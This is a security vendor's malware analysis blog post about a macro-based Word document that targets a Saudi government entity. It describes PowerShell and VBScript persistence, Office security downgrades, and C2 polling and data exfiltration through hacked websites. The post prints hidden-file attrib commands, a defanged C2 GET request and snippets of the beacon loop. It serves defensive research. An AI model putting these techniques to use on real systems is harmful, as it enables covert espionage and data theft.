This post was co-authored by David Sánchez and Jérôme Segura

We recently came across a campaign targeting a Saudi Arabia Government entity via a malicious Word document which at first reminded us of an attack we had previously described on this blog.

In our previous research, we detailed how an information stealer Trojan was deployed via a Word macro, in order to spy on its victims (various parts of the Saudi Government). The stolen information was transmitted back to the threat actors’ infrastructure in an encrypted format.

This new threat also uses a macro to infect the target’s computer, but rather than retrieving a binary payload, it relies on various scripts to maintain its presence and to communicate via hacked websites, acting as proxies for the command and control server.

The malicious script fingerprints the victim’s machine and can receive any command that will run via PowerShell. In this blog post, we will describe the way this threat enters the system and maintains its presence while constantly communicating with its command and control server.

Covert delivery and persistence

The decoy document bears the logo of one of the branches of the Saudi Government and prompts the user to “Enable Content” stating that the document is in protected view (which is actually true).

A high-level summary static analysis of this document reveals that it includes a macro as well as several Base64 encoded strings.

OLE:MAS--B-- target.doc
(Flags: M=Macros, A=Auto-executable, S=Suspicious keywords, B=Base64 strings)

One of the first routines the malicious VBScript performs is to disable or lower security settings within Microsoft Excel and Word by altering corresponding registry keys with values of “1”, meaning: Enable All (ref).

The VBScript also fingerprints the victim for their IP address by querying the Win32_NetworkAdapterConfiguration class:

It then proceeds to retrieve a stream of data from the Pastebin website using its own proxy:

The data is converted into two scripts, a PowerShell and a Visual Basic one, the latter being used for persistence on the infected machine via two different hook points: a Run key in the registry and a scheduled task.

This VBScript is really a launcher for the more important PowerShell script, and both are stored as hidden system files under the Documents folder using the following commands:

attrib +s +h "C:\Users\public\documents\NTSTATS.ps1"
attrib +s +h "C:\Users\public\documents\NTSTATS.vbs"

Espionage and exfiltration

That PowerShell script also has the same instructions to lower Office’s security settings but more importantly is used to exfiltrate data and communicate with the command and control server.

A unique ID is stored on the victim’s machine (in the same folder as the scripts) in a file called [username].key and is used to receive instructions via a server located in Germany (although it appears to be down at the time of writing).

GET http://144.76.109[.]88/al/?action=getCommand&id=[user ID] HTTP/1.1

A function called getKey retrieves the unique ID from the .key file stored on the local hard drive to register the machine as a new victim. If the key file does not exist, it queries for additional system information (computer name, IP address, OS version) and then creates that key (Set-Content $keypath $id).

Another function called getCommand uses the key as a parameter to then contact the C2. This command runs every 5 minutes:

while ($true){
 getCommand $key
 start-sleep -Seconds 300

The malicious script can receive and run any command the attackers want via PowerShell, making this a very powerful attack.

The eventual exfiltration of data is done via several hardcoded websites acting as a proxy via the sendResult function:

The transmission of data is done via Base64 encoded strings, one for the user id (.key file) and one for the exfiltrated data.

GET /wp-content/wp_fast_cache/[removed]== HTTP/1.1
Connection: Keep-Alive

The parameters passed on the URL in the Base64 format:


Decoding the value in the variable “res”, we get the following info.

Connection-specific DNS Suffix . : [removed]
Description . . . . . . . . . . . : [removed]
Physical Address. . . . . . . . . : [removed]
DHCP Enabled. . . . . . . . . . . : [removed]
Autoconfiguration Enabled . . . . : [removed]

Script based attack and protection

This attack is very different from the typical malicious spam we see on a daily basis, blasting Locky or some banking Trojan. Indeed, there is no malicious binary payload (although one could be downloaded by the C2) which makes us think the attackers are trying to keep a low profile and remain on the system while collecting information from their target.

Relying on scripts as part of the attack chain and ongoing infection is an interesting concept due to how modular it is, not to mention more likely to stay undetected from antivirus engines. At the same time, it needs to rely on various encoding techniques because it can’t make use of a packer like a traditional malware binary would. 

Malwarebytes users are already protected against this attack thanks to our signature-less engine.

Indicators of compromise